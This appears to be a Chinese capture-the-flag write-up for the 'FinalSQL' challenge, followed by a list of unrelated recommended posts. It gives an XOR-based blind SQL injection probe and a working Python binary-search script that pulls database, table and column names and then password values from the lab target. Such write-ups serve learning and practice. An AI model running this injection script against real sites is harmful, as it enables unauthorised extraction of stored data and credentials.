[极客大挑战 2019]FinalSQL



用异或来注入

注入语句为1是error,为0时为check

复制代码
?id=1^(length(database())=5)

写盲注脚本

这道题有点坑,首先是表名有两个,一个特别想flag,还有一个就是需要多线程,但是由于是python的,也没有那么必要等一会就出来了

复制代码
import requests

flag = ""
i = 0

while True:
    head = 127
    tail = 32
    i += 1

    while tail < head:
        mid = (head + tail) // 2
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))>{mid})--+"
        url = f"http://3f5e5555-232e-48d1-bae5-64b59f257a76.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(password))from(F1naI1y)),{i},1))>{mid})--+"

        r = requests.get(url=url)
        if 'ERROR' in r.text:
            tail = mid + 1
        else:
            head = mid

    if tail != 32:
        flag += chr(tail)

    else:
        break
    print(flag)
相关推荐
Lucifer三思而后行5 小时前
Veeam 备份 Oracle RAC 失败,是归档删除脚本的锅!
sql
互联网中的一颗神经元10 小时前
小白python入门 - 25. SQL 与表设计入门
数据库·python·sql
tianxuanjg11 小时前
CNC 加工常用金属材质怎么选?铝合金、不锈钢、钛合金加工难点解析
经验分享·机器人·材质
网络安全零基础教程12 小时前
网络安全春招面试避坑与复盘指南
linux·网络·安全·web安全·面试·职场和发展
Ztt66666666612 小时前
【无标题】
经验分享·笔记·其他·百度·微信公众平台
富唯智能13 小时前
ICR 复合机器人多机协同调度方案|3000 台机群实证多机床联动提效
经验分享
汉堡包00115 小时前
【工具分享】--威胁情报平台大全
学习·安全·web安全·信息安全
介一安全15 小时前
【SRC】基础思路篇15:JWT安全测试完全指南
web安全·jwt·安全性测试·src
桐薇全肯定15 小时前
MySQL学生成绩管理系统实战操作
java·数据库·sql
虹科数字化与AR16 小时前
外科医生必备:安宝特M400手术模式高级设置指南
经验分享